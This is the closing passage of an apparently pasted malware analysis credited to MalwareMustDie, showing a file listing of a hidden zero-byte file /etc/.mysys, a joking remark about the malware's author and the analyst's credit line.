  590.  ls -alF /etc/.mysys
  591. ----------  1 root root 0 Jul 28 20:11 /etc/.mysys
  592.  
  593. /* Stupid coder…lol */
  594.  
  595. ---
  596. #MalwareMustDie | analysis by @unixfreaxjp, samples: @wirehack7
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement